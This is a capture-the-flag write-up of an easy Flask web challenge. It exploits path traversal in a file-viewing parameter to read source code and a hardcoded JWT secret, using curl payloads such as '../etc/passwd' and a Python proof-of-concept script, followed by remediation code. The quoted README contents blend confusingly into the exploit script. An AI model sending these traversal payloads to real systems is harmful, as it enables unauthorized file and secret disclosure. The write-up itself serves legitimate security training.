SWE Intern at Girly Pop Inc — Writeup
SWE Intern at Girly Pop Inc — Writeup
Platform: scarlet | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-01-09 | Status: Solved Techniques: NA
Summary
Task: Flask web application JWT Studio with file viewing endpoint. Solution: Exploited LFI via path traversal in the page parameter to read README.md containing the flag.
SWE Intern at Girly Pop Inc — Writeup
Event: Scarlet CTF Category: Web Difficulty: Easy Flag: RUSEC{REDACTED} Date: 2026-01-09
Description
The challenge provides a Flask-based web application "JWT Studio". The goal is to find the flag by exploiting vulnerabilities in the web application.
Reconnaissance
Tools
curl— for testing HTTP requestsBurp Suite/OWASP ZAP— for traffic analysis (optional)wfuzz— for directory fuzzing (not needed)
Application Analysis
When accessing the main page, we see the "JWT Studio" interface with several functions:
http://<target>/ — JWT Studio main page
http://<target>/view?page= — Endpoint for viewing files
Let's try passing the page parameter:
bash read-only • copy allowed# Basic endpoint check curl "http://<target>/view?page=index" # Response: contents of index.html # Path traversal check curl "http://<target>/view?page=../app.py" # Response: Flask application source code
Vulnerability Discovery
LFI via Path Traversal
When passing ../ in the page parameter, the server returns file contents outside the web application's root directory. This is a classic Local File Inclusion (LFI) vulnerability.
Exploitation example:
bash read-only • copy allowed# Reading password file (didn't work - no access) curl "http://<target>/view?page=../etc/passwd" # Reading application source code curl "http://<target>/view?page=../app.py"
Exploitation
Analyzing app.py Source Code
From the read app.py file we get:
python read-only • copy allowedfrom flask import Flask, request, render_template, session, redirect, url_for import jwt app = Flask(__name__) # HARDCODED SECRET KEY — critical vulnerability! SECRET_KEY = 'f0und_my_k3y_1_gu3$$' @app.route('/view') def view(): filename = request.args.get('page', 'index.html') # Path traversal — no path validation try: with open(filename, 'r') as f: content = f.read() return content except: return "File not found" # ... rest of the application code
Discovered vulnerabilities:
- LFI via path traversal — no sanitization of the
pageparameter - Hardcoded SECRET_KEY — secret key committed to the repository
Getting the Flag
Searching for the Flag File
Let's try reading various project files:
bash read-only • copy allowed# Reading README.md with the flag curl "http://<target>/view?page=../README.md"
README.md contents:
# JWT Studio
A simple JWT token generator and validator.
## Setup
1. Clone the repository
2. Install dependencies: `pip install -r requirements.txt`
3. Run the app: `python app.py`
## Configuration
The app uses a hardcoded SECRET_KEY for JWT operations.
SECRET_KEY = 'f0und_my_k3y_1_gu3$$'
## Full PoC Script
```python
#!/usr/bin/env python3
"""
SWE Intern at Girly Pop Inc - LFI Exploit
Event: Scarlet CTF
Category: Web
"""
import requests
import sys
TARGET = "http://<target>"
ENCODING = "utf-8"
def exploit():
print("[*] SWE Intern at Girly Pop Inc - LFI Exploit")
print("-" * 50)
# Read README.md with the flag
print("[+] Reading README.md via LFI...")
url = f"{TARGET}/view?page=../README.md"
response = requests.get(url)
if response.status_code == 200:
content = response.text
print("\n[README.md Content]")
print(content)
# Search for flag in response
if "RUSEC{" in content:
start = content.find("RUSEC{")
end = content.find("}", start) + 1
flag = content[start:end]
print(f"\n[+] FLAG FOUND: {flag}")
else:
print(f"[-] Error: HTTP {response.status_code}")
if __name__ == "__main__":
exploit()
Vulnerability Remediation
1. File Path Validation
python read-only • copy allowedimport os from flask import abort @app.route('/view') def view(): filename = request.args.get('page', 'index.html') # Validation: only safe paths base_dir = os.path.dirname(os.path.abspath(__file__)) safe_path = os.path.normpath(os.path.join(base_dir, filename)) # Check that path is inside base directory if not safe_path.startswith(base_dir): abort(403, "Access denied") try: with open(safe_path, 'r') as f: content = f.read() return content except: abort(404, "File not found")
2. Removing Hardcoded SECRET_KEY
python read-only • copy allowedimport os # Load from environment variables SECRET_KEY = os.environ.get('JWT_SECRET_KEY') if not SECRET_KEY: raise ValueError("JWT_SECRET_KEY environment variable not set")
3. Using .env File (for development)
bash read-only • copy allowed# .env file (add to .gitignore!) JWT_SECRET_KEY=your_super_secret_key_here
python read-only • copy allowedfrom dotenv import load_dotenv load_dotenv()
4. Adding to .gitignore
.env
*.pyc
__pycache__/
.env
Vulnerability Indicators
Look for LFI with path traversal when:
- URL contains parameters for loading files (
?page=,?file=,?path=) - Application allows reading files via HTTP
- No explicit file extension restrictions
- Server returns different content for
../etc/passwdor../app.py
Key Takeaways
| Problem | Solution |
|---|---|
| LFI via path traversal | Path validation, file whitelisting |
| Hardcoded secrets | Environment variables, secrets management |
| Repository compromise | .gitignore, secrets scanning |
| |